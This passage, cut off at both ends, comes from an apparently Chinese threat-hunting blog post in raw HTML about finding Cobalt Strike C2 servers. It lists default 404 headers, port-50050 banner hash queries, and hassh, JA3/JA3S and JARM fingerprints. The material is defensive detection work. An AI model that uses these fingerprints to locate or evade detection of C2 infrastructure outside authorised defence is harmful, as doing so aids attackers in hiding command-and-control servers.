Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7685185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=abde3b62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFTibBGJ8E4wZhhqatG0iaeGvolibeOZzPAfSX1IlYiaPq4xiaT1D3wTN0iciaQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">默认404未找到响应</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  上面的方法我们Hunting到的CS服务器可以看到默认全都是404，所以我们也可以从这个点去入手，但是对于结果需要谨慎的进行后续判断。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Cobalt Strike服务器默认的404 Not Found HTTP响应标头的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Content-Length</code>为 0，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Content-Type</code>为 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">text/plain</code>，如下所示</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">HTTP/1.1 404 Not Found<br/>Content-Type: text/plain<br/>Content-Length: 0</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以可以结合这三处特征使用</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">&#34;HTTP/1.1 404 Not Found Date:&#34; &#34;Content-Type: text/plain&#34; &#34;Content-Length</code></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">进行搜索</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4777777777777778" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=67528c9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFd4za6u1CEleF6ylILFjSto4miaUPbwrGRt7S83DL5RzjDgXvXGyOuyA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">有亿点小多。。。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  攻击者可以通过不同的方式逃避这种检测方法，例如通过使用可拓展的C2配置文件更改默认响应，或者调整服务器参数和标头数据以使其与合法服务器保持一致。所以这种方式需要进行后续的威胁分析，这个本篇暂时不考虑。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">默认端口50050和Banner Hash</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  CS服务器可以默认接受TCP 50050上的客户端连接</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">     我们通过<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">port:50050</code>进行搜索：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48055555555555557" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6bf9e06b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFdPowvfmOibX4SSzkcTicd8lKMvtp4p0a2c1vjTZxPBdNicXk0XicOP5GpQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  75w条的数据基数过于庞大，这时候的数据我们是不可以拿来投入生产的，需要进行更多的过滤，其中的一个方法就是对<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">banner</code>的hash做限制，CS默认的hash（2007783223）可以在这里作为过滤条件</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  所以我们的条件变更为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">port:50050 hash:-2007783223</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4740740740740741" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dc3fecaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFBT7gWBzj1vZrFh3hGM55RHu58pUVCibmpV1836L9RkbU329evNnvQew%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  加上hash的限制之后直接锐减到19条，我焯</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  19条的数据人工去判断的成本也是完全可以接受的，quake目前好像不支持hash的搜索，这里就不展示了</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">默认SSH客户端Hash</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  依托于项目<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">hassh</code>,我们可以计算SSH客户端的信息，然后通过搜索这些hash相关的IP来捕获一些恶意IP，这里使用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">greynoise</code>进行搜索，这个东西感觉和微步在线X情报社区差不多，有对IP打的tag。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">hassh(CobaltStrike_SSH-client) = a7a87fbe86774c2e40cc4a7ea2ab1b3c<br/>related to: SSH-2.0-libssh2_1.8.0 || SSH-2.0-libssh2_1.7.0</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">[搜索](<span style="line-height: 1.75;color: rgb(87, 107, 149);">Query Results | GreyNoise Visualizer</span>)</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.487962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4f71ebda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqF1uz18TH85RyXrGNZrKYuOkzDfvI7ts5kZPRYyoKMLOP3r35VlFEHKA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看到结果中已经有被标记为恶意的CS SSH CLIENT的数据了，但是和之前不同，TOP榜里的地区居然不是中国第一名了。。。。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9127725856697819" data-s="300,640" style="" data-type="png" data-w="321" src="https://wechat2rss.xlab.app/img-proxy/?k=24a13f37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFzsdy2iaLicNbNKl81NibjPSAof5kwNau2bm8t7RicSOAdeE9X7BXo79xDQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">JA3的指纹们</h3><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">JA3</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  JA3是一个开源项目，可以为客户端和服务器之间的通信创建SSL指纹。这些独特的签名可以代表客户端Hello数据包中的多个字段值。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  与CS相关的已知JA3签名包括以下内容。例如，CS的Beacon使用Windows套接字来启动TLS通信,但是这种方法并不特定于Cobalt Strike。</p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">JA3S</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在创建了JA3之后，为TLS握手服务器端指纹创建了一种新的方法，即TLS服务器Hello消息。JA3S方法是收集以下字段在服务器Hello数据包中的字节的十进制值：版本、可接受的加密方式和扩展列表。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以从已知的C2列表中提取所有的JA3S以对它们进行聚类，并基于其他相似之处扩大搜索范围。但是这超出了本文的范围，存在太多的误报风险。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这里结合<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">product</code>字段贴出出现频率比较高的指纹</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4685185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=904a01cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqF1gKlpiax05m1ZRgmiak7a7icBm1M86zANibDJE8tzm9aHdWEq5MfHhB1eA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">JARM</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  与JA3/JA3S类似，JARM能够对远程服务器的TLS数值进行指纹识别。它通过与目标服务器进行交互发送10个TLS客户端Hello数据包，并记录回复中的特定属性。然后，它将哈希值并创建最终的JARM指纹。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  但是如果使用JARM扫描Cobalt Strike服务器，获得的结果取决于服务器所使用的Java版本。CS的文档中建议使用时首选OpenJDK 11。这使得容易识别潜在的Cobalt Strike服务器，但是也容易产生误报。<span style="text-decoration:line-through;">（Java的东西在互联网上真是太多了）</span></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  默认配置的Cobalt Strike对应的JARM指纹是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2</code></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">搜索如下：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47129629629629627" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fcb87964&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFQWhbWaxF7Nc0sONKV8TRf2cXRia2PoV3iaR7dpVrWcV912iaKz1E3CWDg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其他与Cobalt Strike服务器有关的JARM如下，更多JARM指纹可以参考<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">JARM</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6555555555555556" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=72b4485b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFNo7H5vFGR0AgKMu0WCzI5tia9H9BrF9ia2LFQgGVSJAMiacXV7jcPJQVQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这种方法容易出现许多误报，并且只能帮助你了解一个IP是否可能与CS有关，工作中不要将其作为主要方法。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">拓展网站的HTML Hash</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica 